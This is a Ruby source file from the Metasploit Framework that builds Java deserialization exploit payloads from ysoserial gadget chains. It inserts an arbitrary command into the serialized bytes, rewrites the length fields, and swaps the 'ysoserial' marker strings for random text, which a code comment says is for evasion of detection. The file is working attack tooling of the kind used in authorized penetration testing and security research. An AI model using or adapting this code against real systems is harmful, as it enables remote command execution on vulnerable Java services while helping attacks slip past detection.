metasploit-framework/lib/msf/util/java_deserialization.rb

88 lines
2.9 KiB
Ruby

# -*- coding: binary -*-
module Msf
module Util
require 'json'
class JavaDeserialization
PAYLOAD_FILENAME = "ysoserial_payloads.json"
def self.ysoserial_payload(payload_name, command=nil, modified_type: 'none')
payloads_json = load_ysoserial_data(modified_type)
# Extract the specified payload (status, lengthOffset, bufferOffset, bytes)
payload = payloads_json[payload_name]
raise ArgumentError, "#{payload_name} payload not found in ysoserial payloads" if payload.nil?
# Based on the status, we'll raise an exception, return a static payload, or
# generate a dynamic payload with modifications at the specified offsets
case payload['status']
when 'unsupported'
# This exception will occur most commonly with complex payloads that require more than a string
raise ArgumentError, 'ysoserial payload is unsupported'
when 'static'
# TODO: Consider removing 'static' functionality, since ysoserial doesn't currently use it
return Rex::Text.decode_base64(payload['bytes'])
when 'dynamic'
raise ArgumentError, 'missing command parameter' if command.nil?
bytes = Rex::Text.decode_base64(payload['bytes'])
# Insert buffer
buffer_offset = payload['bufferOffset'].first #TODO: Do we ever need to support multiple buffers?
bytes[buffer_offset - 1] += command
# Overwrite length (multiple times, if necessary)
length_offsets = payload['lengthOffset']
length_offsets.each do |length_offset|
# Extract length as a 16-bit unsigned int, then add the length of the command string
length = bytes[(length_offset-1)..length_offset].unpack('n').first
length += command.length.ord
length = [length].pack("n")
bytes[(length_offset-1)..length_offset] = length
end
# Replace "ysoserial\/Pwner" timestamp and "ysoserial" string with randomness for evasion
bytes.gsub!('ysoserial/Pwner00000000000000', Rex::Text.rand_text_alphanumeric(29))
bytes.gsub!('ysoserial', Rex::Text.rand_text_alphanumeric(9))
return bytes
else
raise RuntimeError, 'Malformed JSON file'
end
end
def self.ysoserial_payload_names(modified_type: 'none')
payloads_json = load_ysoserial_data(modified_type)
payloads_json.keys
end
class << self
private
def load_ysoserial_data(modified_type)
# Open the JSON file and parse it
path = File.join(Msf::Config.data_directory, PAYLOAD_FILENAME)
begin
json = JSON.parse(File.read(path, mode: 'rb'))
rescue Errno::ENOENT, JSON::ParserError
raise RuntimeError, "Unable to load JSON data from: #{path}"
end
# Extract the specified payload type (including cmd, bash, powershell, none)
payloads_json = json[modified_type.to_s]
if payloads_json.nil?
raise ArgumentError, "#{modified_type} type not found in ysoserial payloads"
end
payloads_json
end
end
end # JavaDeserialization
end # Util
end # Msf